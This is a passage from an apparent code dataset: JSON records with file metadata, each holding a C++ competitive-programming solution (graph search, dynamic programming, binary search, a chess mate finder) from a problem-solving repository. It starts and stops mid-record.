c,n,k,tc;\r\n\r\nint main(){\r\n cin >> tc;\r\n while(tc--){\r\n cin >> n; n++;\r\n c=0;k=0;\r\n for(int i=0; i<n; i++)\r\n for(int j=0; j<n; j++){p[k].x=i;p[k].y=j;k++;}\r\n \r\n for(int i=0; i<k-2; i++)\r\n for(int j=i+1; j<k-1; j++)\r\n for(int l=j+1; l<k; l++)if(no_al(p[i],p[j],p[l]))c++;\r\n \r\n cout << c << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.38671875, "alphanum_fraction": 0.4283854067325592, "avg_line_length": 15.860465049743652, "blob_id": "7bc91423b46262f0e4f245da34e35a84d68d5a98", "content_id": "7f4fc0a02083ff28450a157651a1911688b5f063", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 768, "license_type": "no_license", "max_line_length": 43, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3400-Accepted-s879176.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100002;\r\nconst int K = 12;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) a -= MOD;\r\n}\r\n\r\nint n, k, a[N];\r\nint dp[K][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tlong long S = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tS += a[i];\r\n\t}\r\n\tS /= k;\r\n\tfor (int i = 0; i <= n; i++) dp[0][i] = 1;\r\n\tfor (int i = 1; i <= k; i++) {\r\n\t\tlong long sum = 0;\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tsum += a[j];\r\n\t\t\tdp[i][j] = dp[i][j - 1];\r\n\t\t\tif (sum == (long long)i * S) {\r\n\t\t\t\tadd(dp[i][j], dp[i - 1][j - 1]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = dp[k][n];\r\n\tadd(ans, MOD - dp[k][n - 1]);\r\n\tcout << ans << \"\\n\";\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4468468427658081, "alphanum_fraction": 0.47387388348579407, "avg_line_length": 16, "blob_id": "71e662d215bcd6a079adc1a83538e0cd5bbf633d", "content_id": "7ffa6917a05b33adda13ce9266f3a9fd74cf2ac3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 555, "license_type": "no_license", "max_line_length": 36, "num_lines": 31, "path": "/Timus/1490-6765230.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1490\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tlong long r;\r\n\tcin >> r;\r\n\tlong long ans = 0;\r\n\tfor (long long y = 0; y < r; y++) {\r\n\t\tlong long lo = 0;\r\n\t\tlong long hi = r - 1LL;\r\n\t\tlong long x = lo;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tlong long mid = (lo + hi) / 2LL;\r\n\t\t\tif (mid * mid + y * y < r * r) {\r\n\t\t\t\tx = mid;\r\n\t\t\t\tlo = mid + 1LL;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1LL;\r\n\t\t\t}\r\n\t\t}\r\n\t\tans += x + 1LL;\r\n\t}\r\n\tans *= 4LL;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.2884882092475891, "alphanum_fraction": 0.3134535253047943, "avg_line_length": 12.420000076293945, "blob_id": "8081485357362774d49717253c4e9975b2f67782", "content_id": "ef7b7549bc746f6a35e9881cc95f5790306da76f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 721, "license_type": "no_license", "max_line_length": 37, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p2631-Accepted-s529046.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint c,n;\r\nbool mark[9];\r\nint pass[9],cont;\r\n\r\nint fact[9];\r\n\r\nvoid f(int n, int x)\r\n{\r\n\r\n if(x==n+1)\r\n {\r\n if(cont==fact[n]/3)\r\n {\r\n for(int i=1; i<=n; i++)\r\n printf(\"%d\",pass[i]);\r\n printf(\"\\n\");\r\n }\r\n cont++;\r\n return;\r\n\r\n }\r\n for(int i=1; i<=n; i++)\r\n if(!mark[i])\r\n {\r\n mark[i]=1;\r\n pass[x]=i;\r\n f(n,x+1);\r\n mark[i]=0;\r\n }\r\n}\r\n\r\n\r\nint main()\r\n{\r\n fact[0]=1;\r\n for(int i=1; i<=9; i++)\r\n fact[i]=i*fact[i-1];\r\n\r\n\r\n\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d\",&n);\r\n cont=0;\r\n f(n,1);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4863387942314148, "alphanum_fraction": 0.500910758972168, "avg_line_length": 16.931034088134766, "blob_id": "8ce02da91a787b529ff32a720accdbfd2f7f1f9a", "content_id": "d0a322e4cd1ae6ab13f769ffa679bfdcc439b6b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 549, "license_type": "no_license", "max_line_length": 49, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1829-Accepted-s636905.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 86405;\r\n\r\nint tc, n;\r\npair<int, int> v[MAXN];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tcin >> v[i].first >> v[i].second;\r\n\t\tsort(v, v + n);\r\n\t\tbool con = false;\r\n\t\tfor (int i = 1; i < n; i++)\r\n\t\t\tif (v[i].first <= v[i - 1].second) {\r\n\t\t\t\tcon = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcout << (con ? \"Conflict\\n\" : \"No Conflict\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2800000011920929, "alphanum_fraction": 0.38199999928474426, "avg_line_length": 27.41176414489746, "blob_id": "c83390f87f25ba8489cb54d21de7fcd348e66c7c", "content_id": "06d83533d02886f7d807841129d7e9535ead2079", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 500, "license_type": "no_license", "max_line_length": 74, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p2483-Accepted-s471852.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint a[3][2];\r\n\r\nint main(){\r\n cin >> a[0][0] >> a[0][1] >> a[1][0] >> a[1][1] >> a[2][0] >> a[2][1];\r\n \r\n if(a[0][0]==a[1][0])cout << a[2][0] << \" \";\r\n else if(a[0][0]==a[2][0])cout << a[1][0] << \" \";\r\n else if(a[1][0]==a[2][0])cout << a[0][0] << \" \";\r\n \r\n if(a[0][1]==a[1][1])cout << a[2][1] << endl;\r\n else if(a[0][1]==a[2][1])cout << a[1][1] << endl;\r\n else if(a[1][1]==a[2][1])cout << a[0][1] << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.42248061299324036, "alphanum_fraction": 0.45478036999702454, "avg_line_length": 17.846153259277344, "blob_id": "c2d0176d49bc314e1c21ea7e34f3e5434d0cedad", "content_id": "f14abc233c98b579d192861ca77970e2f8b7d3e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 774, "license_type": "no_license", "max_line_length": 75, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2751-Accepted-s586155.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <queue>\r\nusing namespace std;\r\n\r\nconst int MAXN = 101010;\r\n\r\nint n, m, k, dist[MAXN];\r\nvector<int> G[MAXN];\r\nqueue<int> Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d\", &n, &k, &m);\r\n\tfor (int i = 1, x; i <= m; i++)\r\n\t\tfor (int j = 1; j <= k; j++)\r\n\t\t{\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tG[x].push_back(n + i);\r\n\t\t\tG[n + i].push_back(x);\r\n\t\t}\r\n\tfor (int i = 1; i <= n + m; i++)\r\n\t\tdist[i] = 1 << 29;\r\n\tdist[1] = 0;\r\n\tQ.push(1);\r\n\twhile (!Q.empty())\r\n\t{\r\n\t\tint act = Q.front();\r\n\t\tQ.pop();\r\n\t\tfor (vector<int>::iterator it = G[act].begin(); it != G[act].end(); it++)\r\n\t\t\tif (dist[*it] == 1 << 29)\r\n\t\t\t{\r\n\t\t\t\tdist[*it] = dist[act] + 1;\r\n\t\t\t\tQ.push(*it);\r\n\t\t\t}\r\n\t}\r\n\tif (dist[n] == 1 << 29) printf(\"-1\\n\");\r\n\telse printf(\"%d\\n\", dist[n] / 2 + 1);\r\n}\r\n" }, { "alpha_fraction": 0.378947377204895, "alphanum_fraction": 0.4147368371486664, "avg_line_length": 14.379310607910156, "blob_id": "3cc3e7736a6324d756235b3316107b33ce02b93d", "content_id": "6a7d8cd971dbb9ab9156a0726a46b1658386e571", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 475, "license_type": "no_license", "max_line_length": 39, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1047-Accepted-s529068.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint gcd(int a, int b)\r\n{\r\n return b?gcd(b,a%b):a;\r\n}\r\n\r\nint c,n,dp[1001];\r\n\r\nint main()\r\n{\r\n dp[1]=3;\r\n for(int i=2; i<1001; i++)\r\n {\r\n dp[i]=dp[i-1];\r\n for(int j=0; j<i; j++)\r\n dp[i]+=2*(gcd(i,j)==1);\r\n }\r\n scanf(\"%d\",&c);\r\n for(int i=1; i<=c; i++)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%d %d %d\\n\",i,n,dp[n]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.40829986333847046, "alphanum_fraction": 0.4350736141204834, "avg_line_length": 13.893616676330566, "blob_id": "29c3b47c1b24698847d1f155dfdf1c92162c6eb4", "content_id": "20b71771629986b72436342035fac9b1620a9139", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 747, "license_type": "no_license", "max_line_length": 56, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p3246-Accepted-s838048.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long LL;\r\n\r\nLL calc(LL n, bool par) {\r\n\tLL res = 0;\r\n\tfor (int i = 62; i > 0; i--) {\r\n\t\tif (n & (1LL << i)) {\r\n\t\t\treturn (1LL << (i - 1)) + calc(n - (1LL << i), !par);\r\n\t\t}\r\n\t}\r\n\tif (n == 1) {\r\n\t\treturn 1;\r\n\t}\r\n\treturn par;\r\n}\r\n\r\nLL find(LL n) {\r\n if (n == 1) {\r\n return 0;\r\n }\r\n\tLL lo = 0;\r\n\tLL hi = 2e18;\r\n\tLL res = hi;\r\n\twhile (lo <= hi) {\r\n\t\tLL mid = (lo + hi) >> 1LL;\r\n\t\tif (calc(mid, true) >= n) {\r\n\t\t\tres = mid;\r\n\t\t\thi = mid - 1;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tLL n;\r\n\twhile (cin >> n && n) {\r\n\t\tcout << find(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3841853141784668, "alphanum_fraction": 0.41932907700538635, "avg_line_length": 21.35714340209961, "blob_id": "02af801f75c238446469a3b8ef20bb25d5df2fe5", "content_id": "47d7d98b946faab108eb0646d32bc9e2547679b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1252, "license_type": "no_license", "max_line_length": 86, "num_lines": 56, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 155;\n\nint n, a[N][N];\n\nvector <pair <int, int> > v;\n\nint ans[N];\n\nvector <int> cur;\n\nint depth[N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n;\n for (int i = 1; i <= n; i++) {\n int cnt = 0;\n for (int j = 1; j <= n; j++) {\n cin >> a[i][j];\n if (a[i][j] == i) cnt++;\n }\n depth[i] = -1;\n v.push_back(make_pair(cnt, i));\n }\n sort(v.begin(), v.end(), greater <pair <int, int> >());\n ans[v[0].second] = 0;\n depth[v[0].second] = 0;\n cur.push_back(v[0].second);\n for (int i = 1; i < n; i++) {\n int par = -1;\n int u = v[i].second;\n for (int j = 0; j < cur.size(); j++) {\n int v = cur[j];\n if (a[u][v] == v && (par == -1 || depth[par] < depth[v])) {\n par = v;\n }\n }\n ans[u] = par;\n depth[u] = depth[par] + 1;\n cur.push_back(u);\n }\n for (int i = 1; i <= n; i++) {\n cout << ans[i];\n if (i + 1 <= n) cout << \" \";\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3709959089756012, "alphanum_fraction": 0.39138031005859375, "avg_line_length": 19.68674659729004, "blob_id": "c7cc4f02be27068345a74f5a3b4318392fedaecf", "content_id": "68fa30e4ee038f965949d9df1f387a2fc8ba23c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5151, "license_type": "no_license", "max_line_length": 81, "num_lines": 249, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nstruct pos{\n par a;\n par c;\n par wr;\n par br;\n\n pos( par aa, par cc, par wrr, par brr ){\n a = aa;\n c = cc;\n wr = wrr;\n br = brr;\n }\n};\n\npar getIJ( string &x ){\n int i = 8 - (x[1]-'0') + 1;\n int j = x[0] - 'a' + 1;\n\n return par( i , j );\n}\n\nstring getX( int i, int j ){\n char f = '0' + (8 - i + 1);\n char c = 'a' + (j-1);\n\n string ret = \"\";\n ret += c;\n ret += f;\n return ret;\n}\n\nbool can_move( int i, int j ){\n return ( i >= 1 && j >= 1 && i <= 8 && j <= 8 );\n}\n\nint movIC[] = { -2 , -1 , 1 , 2 , -2 , -1 , 1 , 2 };\nint movJC[] = { -1 , -2 , -2 , -1 , 1 , 2 , 2 , 1 };\n\nint movIA[] = { 1 , -1 , 1 , -1 };\nint movJA[] = { 1 , -1 , -1 , 1 };\n\nint movIR[] = { 1 , -1, 1 ,-1, 0 , 1 , -1 , 0 };\nint movJR[] = { 1 , -1,-1 , 1, 1 , 0 , 0 , -1 };\n\nvector<par> getMovesC( par pos, set<par> mk ){\n vector<par> ret;\n\n int i = pos.first;\n int j = pos.second;\n\n for( int k = 0; k < 8; k++ ){\n int ii = i + movIC[k];\n int jj = j + movJC[k];\n\n if( can_move( ii , jj ) ){\n ret.push_back( par(ii,jj) );\n }\n }\n\n return ret;\n}\n\nvector<par> getMovesR( par pos, set<par> mk ){\n vector<par> ret;\n\n int i = pos.first;\n int j = pos.second;\n\n for( int k = 0; k < 8; k++ ){\n int ii = i + movIR[k];\n int jj = j + movJR[k];\n\n if( can_move( ii , jj ) && mk.find( par( ii , jj ) ) == mk.end() ){\n ret.push_back( par(ii,jj) );\n }\n }\n\n return ret;\n}\n\nvector<par> getMovesA( par pos, set<par> mk ){\n vector<par> ret;\n\n int i = pos.first;\n int j = pos.second;\n\n for( int k = 0; k < 4; k++ ){\n for( int c = 1; c <= 10; c++ ){\n int ii = i + c*movIA[k];\n int jj = j + c*movJA[k];\n\n if( can_move( ii , jj ) ){\n ret.push_back( par(ii,jj) );\n\n if( mk.find( par( ii , jj ) ) != mk.end() ){\n break;\n }\n }\n else{\n break;\n }\n }\n }\n\n return ret;\n}\n\nbool mate( pos p ){\n //cerr << p.a.first << ' ' << p.a.second << '\\n';\n\n set<par> mk;\n vector<par> moves = getMovesR( p.wr, set<par>() );\n for( int i = 0; i < moves.size(); i++ ){\n mk.insert( moves[i] );\n }\n\n moves = getMovesC( p.c, set<par>() );\n for( int i = 0; i < moves.size(); i++ ){\n mk.insert( moves[i] );\n }\n\n set<par> tmp;\n tmp.insert( p.wr );\n tmp.insert( p.c );\n tmp.insert( p.br );\n\n moves = getMovesA( p.a, tmp );\n for( int i = 0; i < moves.size(); i++ ){\n mk.insert( moves[i] );\n }\n\n if( mk.find( p.br ) != mk.end() ){\n moves = getMovesR( p.br, mk );\n\n return ( moves.size() == 0 );\n }\n\n return false;\n}\n\nint dii( par x, par y ){\n return abs( x.first - y.first ) + abs( x.second - y.second );\n}\n\nstring solve( pos p ){ //cerr << p.a.first << ' ' << p.a.second << '\\n';\n\n set<par> mk;\n mk.insert( p.br );\n mk.insert( p.wr );\n mk.insert( p.a );\n mk.insert( p.c );\n\n string sol = \"B\";\n int i = p.a.first;\n int j = p.a.second;\n\n for( int k = 0; k < 4; k++ ){\n for( int c = 1; c <= 10; c++ ){\n int ii = i + c * movIA[k];\n int jj = j + c * movJA[k];\n\n if( !can_move( ii , jj ) || mk.find( par( ii , jj ) ) != mk.end() ){\n break;\n }\n\n pos tmp = p;\n tmp.a = par( ii , jj );\n\n if( mate( tmp ) ){\n sol += getX( ii , jj );\n return sol;\n }\n }\n }\n\n sol = \"K\";\n i = p.wr.first;\n j = p.wr.second;\n\n for( int k = 0; k < 8; k++ ){\n int ii = i + movIR[k];\n int jj = j + movJR[k];\n\n bool ok = true;\n\n for( int k2 = 0; k2 < 8; k2++ ){\n int iii = ii + movIR[k2];\n int jjj = jj + movJR[k2];\n\n if( iii == p.br.first && jjj == p.br.second ){\n ok = false;\n break;\n }\n }\n\n if( can_move( ii , jj ) && mk.find( par( ii , jj ) ) == mk.end() && ok ){\n pos tmp = p;\n tmp.wr = par( ii , jj );\n\n if( mate( tmp ) ){\n sol += getX( ii , jj );\n return sol;\n }\n }\n }\n\n sol = \"N\";\n i = p.c.first;\n j = p.c.second;\n\n for( int k = 0; k < 8; k++ ){\n int ii = i + movIC[k];\n int jj = j + movJC[k];\n\n if( can_move( ii , jj ) && mk.find( par( ii , jj ) ) == mk.end() ){\n pos tmp = p;\n tmp.c = par( ii , jj );\n\n if( mate( tmp ) ){\n sol += getX( ii , jj );\n return sol;\n }\n }\n }\n\n return \"impossible\";\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string wr, a, c, br; cin >> wr >> a >> c >> br;\n\n pos p = pos( getIJ( a ) , getIJ( c ) , getIJ( wr ) , getIJ( br ) );\n\n cout << solve( p ) << '\\n';\n}\n" }, { "alpha_fraction": 0.38461539149284363, "alphanum_fraction": 0.4201183319091797, "avg_line_length": 21.425743103027344, "blob_id": "7733ee96797f6a009196e1f27dd12e6c009086ed", "content_id": "638907b4b5f7990eed4d4cfff434cd89aa409969", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2366, "license_type": "no_license", "max_line_length": 135, "num_lines": 101, "path": "/COJ/eliogovea-cojAC/eliogovea-p3581-Accepted-s934464.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXL = 10005;\r\n\r\nvector <int> mask_from[15][15];\r\nvector <int> carry_from[15][15];\r\nvector <int> mask_to[15][15];\r\nvector <int> carry_to[15][15];\r\n\r\nvoid prepare() {\r\n\tfor (int mask = 0; mask < 8; mask++) {\r\n\t\tfor (int carry = 0; carry < 3; carry++) {\r\n\t\t\tfor (int a = 0; a < 10; a++) {\r\n\t\t\t\tif (a != 3) {\r\n\t\t\t\t\tfor (int b = 0; b < 10; b++) {\r\n\t\t\t\t\t\tif (b != 3) {\r\n\t\t\t\t\t\t\tfor (int c = 0; c < 10; c++) {\r\n\t\t\t\t\t\t\t\tif (c != 3) {\r\n\t\t\t\t\t\t\t\t\tint ndigit = (a + b + c + carry) % 10;\r\n\t\t\t\t\t\t\t\t\tfor (int ldigit = 0; ldigit < 10; ldigit++) {\r\n\t\t\t\t\t\t\t\t\t\tint next_mask = 0;\r\n\t\t\t\t\t\t\t\t\t\tif ((a > ldigit) || ((a == ldigit) && (mask & 1))) {\r\n\t\t\t\t\t\t\t\t\t\t\tnext_mask |= 1;\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\tif ((b > ldigit) || ((b == ldigit) && (mask & 2))) {\r\n\t\t\t\t\t\t\t\t\t\t\tnext_mask |= 2;\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\tif ((c > ldigit) || ((c == ldigit) && (mask & 4))) {\r\n\t\t\t\t\t\t\t\t\t\t\tnext_mask |= 4;\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\tint next_carry = (a + b + c + carry) / 10;\r\n\t\t\t\t\t\t\t\t\t\tmask_from[ndigit][ldigit].push_back(mask);\r\n\t\t\t\t\t\t\t\t\t\tcarry_from[ndigit][ldigit].push_back(carry);\r\n\t\t\t\t\t\t\t\t\t\tmask_to[ndigit][ldigit].push_back(next_mask);\r\n\t\t\t\t\t\t\t\t\t\tcarry_to[ndigit][ldigit].push_back(next_carry);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nconst int MOD = 12345647;\r\n\r\ninline void add(int &a, int b) {\r\n\tif ((a += b) >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nstring sn, sl;\r\n\r\nint dp[3][10][MAXL];\r\n\r\nint solve() {\r\n\tint szn = sn.size();\r\n\tint szl = sl.size();\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tfor (int j = 0; j < 8; j++) {\r\n\t\t\tfor (int k = 0; k <= szn; k++) {\r\n\t\t\t\tdp[i][j][k] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treverse(sn.begin(), sn.end());\r\n\treverse(sl.begin(), sl.end());\r\n\tfor (int i = szl; i < szn; i++) {\r\n\t\tsl += '0';\r\n\t}\r\n\tfor (int i = 0; i < szn; i++) {\r\n\t\tsn[i] -= '0';\r\n\t\tsl[i] -= '0';\r\n\t}\r\n\tdp[0][7][0] = 1;\r\n\tfor (int i = 0; i < szn; i++) {\r\n\t\tint sz = mask_from[sn[i]][sl[i]].size();\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tadd(dp[carry_to[sn[i]][sl[i]][j]][mask_to[sn[i]][sl[i]][j]][i + 1], dp[carry_from[sn[i]][sl[i]][j]][mask_from[sn[i]][sl[i]][j]][i]);\r\n\t\t}\r\n\t}\r\n\treturn dp[0][7][szn];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tprepare();\r\n\twhile (cin >> sn >> sl) {\r\n\t\tif (sn == \"0\" && sl == \"0\") {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcout << solve() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38082900643348694, "alphanum_fraction": 0.4050086438655853, "avg_line_length": 20.705883026123047, "blob_id": "f32a79b2b62337526209a1e0f47a70b26e5150fa", "content_id": "dbe46da0ebebac90866b4bd7f87bbb93c59aea46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 59, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p2158-Accepted-s658333.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring s[205];\r\n\r\nstruct triple {\r\n int a, b, c;\r\n int diff;\r\n triple() {\r\n a = 1000, b = 1000, c = 1000;\r\n diff = 100;\r\n }\r\n triple(int aa, int bb, int cc) {\r\n a = aa; b = bb; c = cc;\r\n diff = 0;\r\n for (int i = 0; i < 20; i++) {\r\n if (s[a][i] != s[b][i]) diff++;\r\n if (s[a][i] != s[c][i]) diff++;\r\n if (s[b][i] != s[c][i]) diff++;\r\n }\r\n }\r\n bool operator < (const triple &T) const {\r\n if (diff != T.diff) return diff < T.diff;\r\n if (a != T.a) return a < T.a;\r\n if (b != T.b) return b < T.b;\r\n return c < T.c;\r\n }\r\n} tmp, sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) cin >> s[i];\r\n\tsort(s, s + n);\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tfor (int j = 0; j < i; j++)\r\n\t\t\tfor (int k = 0; k < j; k++)\r\n if (s[i] != s[j] && s[i] != s[k] && s[j] != s[k]) {\r\n tmp = triple(k, j, i);\r\n if (tmp < sol) sol = tmp;\r\n }\r\n\tcout << sol.diff << \"\\n\"\r\n << s[sol.a] << \"\\n\"\r\n << s[sol.b] << \"\\n\"\r\n << s[sol.c] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.32499998807907104, "alphanum_fraction": 0.359375, "avg_line_length": 16.285715103149414, "blob_id": "77b22d3eac01ba5c2a999e235a217430f7aa0a76", "content_id": "b19073fcc18e9a28b195126a38fd686dd4405a7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 640, "license_type": "no_license", "max_line_length": 67, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2443-Accepted-s484028.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nbool s[101];\r\nint n,k,m,p,c,nm,x;\r\n\r\nint main()\r\n{\r\n for(int i=2; i<=100; i++)s[i]=1;\r\n for(int i=2; i*i<=100; i++)\r\n if(s[i])for(int j=i*i; j<=100; j+=i)s[j]=0;\r\n\r\n scanf(\"%d%d\",&n,&k);\r\n\r\n for(int i=1; i<=n; i++)\r\n {\r\n c=0;\r\n for(int j=1; j<=k; j++)\r\n {\r\n scanf(\"%d\",&x);\r\n if(s[x])c++;\r\n }\r\n if(c==m)nm++;\r\n else if(c>m)\r\n {\r\n m=c;\r\n nm=1;\r\n p=i;\r\n }\r\n }\r\n\r\n if(nm>1)printf(\"No winner\");\r\n else printf(\"Object %d wins with %d rare characteristics\",p,m);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.42984694242477417, "alphanum_fraction": 0.44897958636283875, "avg_line_length": 13.680000305175781, "blob_id": "d4300944bd43f4a360d89ad3f101fa041189a23c", "content_id": "9932b2b4ca42ce8589077400e6d45c79ed7b0141", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 784, "license_type": "no_license", "max_line_length": 49, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p1873-Accepted-s549656.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 50\r\nusing namespace std;\r\n\r\nint t,n,m,q,x,y;\r\nint lev[MAXN+10];\r\nvector<int> G[MAXN+10];\r\nvector<int>::iterator it;\r\nqueue<int> Q;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&t); t--;)\r\n\t{\r\n\t\tscanf(\"%d%d%d\",&n,&m,&q);\r\n\t\tfor(int i=1; i<=m; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\",&x,&y);\r\n\t\t\tG[x].push_back(y);\r\n\t\t}\r\n\t\tlev[1]=1;\r\n\t\tQ.push(1);\r\n\t\twhile(!Q.empty())\r\n\t\t{\r\n\t\t\tint 